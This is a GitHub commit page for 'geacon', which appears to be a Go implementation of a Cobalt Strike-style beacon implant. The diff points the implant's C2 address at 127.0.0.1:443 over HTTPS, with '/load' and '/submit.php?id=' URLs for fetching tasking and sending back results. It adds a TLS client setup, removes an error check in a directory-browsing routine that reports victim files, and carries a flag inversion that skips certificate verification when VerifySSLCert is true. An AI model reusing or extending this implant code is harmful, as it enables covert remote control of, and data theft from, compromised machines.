Skip to content

Commit

Permalink
dirty hack for issue #4
Browse files Browse the repository at this point in the history
  • Loading branch information
darkr4y committed Oct 2, 2020
1 parent 9ea872f commit 5d9a910
Show file tree
Hide file tree
Showing 3 changed files with 16 additions and 8 deletions.
8 changes: 5 additions & 3 deletions cmd/config/config.go
Original file line number Diff line number Diff line change
Expand Up @@ -12,12 +12,14 @@ var (
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-----END PRIVATE KEY-----`)

C2 = "127.0.0.1:80"
C2 = "127.0.0.1:443"
plainHTTP = "http://"
sslHTTP = "https://"
GetUrl = plainHTTP + C2 + "/load"
PostUrl = plainHTTP + C2 + "/submit.php?id="
GetUrl = sslHTTP + C2 + "/load"
PostUrl = sslHTTP + C2 + "/submit.php?id="
WaitTime = 10000 * time.Millisecond
VerifySSLCert = true
TimeOut time.Duration = 10 //seconds

IV = []byte("abcdefghijklmnop")
GlobalKey []byte
Expand Down
6 changes: 1 addition & 5 deletions cmd/packet/commands.go
Original file line number Diff line number Diff line change
Expand Up @@ -155,10 +155,6 @@ func File_Browse(b []byte) []byte {
dirPathStr := strings.ReplaceAll(string(dirPathBytes), "\\", "/")
dirPathStr = strings.ReplaceAll(dirPathStr, "*", "")

if err != nil {
panic(err)
}

// build string for result
/*
/Users/xxxx/Desktop/dev/deacon/*
Expand Down Expand Up @@ -208,7 +204,7 @@ func File_Browse(b []byte) []byte {
resultStr += fmt.Sprintf("\nF\t%d\t%s\t%s", file.Size(), modTimeStr, file.Name())
}
}
fmt.Println(resultStr)
//fmt.Println(resultStr)

return util.BytesCombine(pendingRequest, []byte(resultStr))

Expand Down
10 changes: 10 additions & 0 deletions cmd/packet/http.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package packet

import (
"crypto/tls"
"fmt"
"geacon/cmd/config"
"net/http"
Expand All @@ -13,6 +14,15 @@ var (
httpRequest = req.New()
)

func init() {
httpRequest.SetTimeout(config.TimeOut * time.Second)
trans, _ := httpRequest.Client().Transport.(*http.Transport)
trans.MaxIdleConns = 20
trans.TLSHandshakeTimeout = config.TimeOut * time.Second
trans.DisableKeepAlives = true
trans.TLSClientConfig = &tls.Config{InsecureSkipVerify: config.VerifySSLCert}
}

//TODO c2profile
func HttpPost(url string, data []byte) *req.Resp {
for {
Expand Down

0 comments on commit 5d9a910

Please sign in to comment.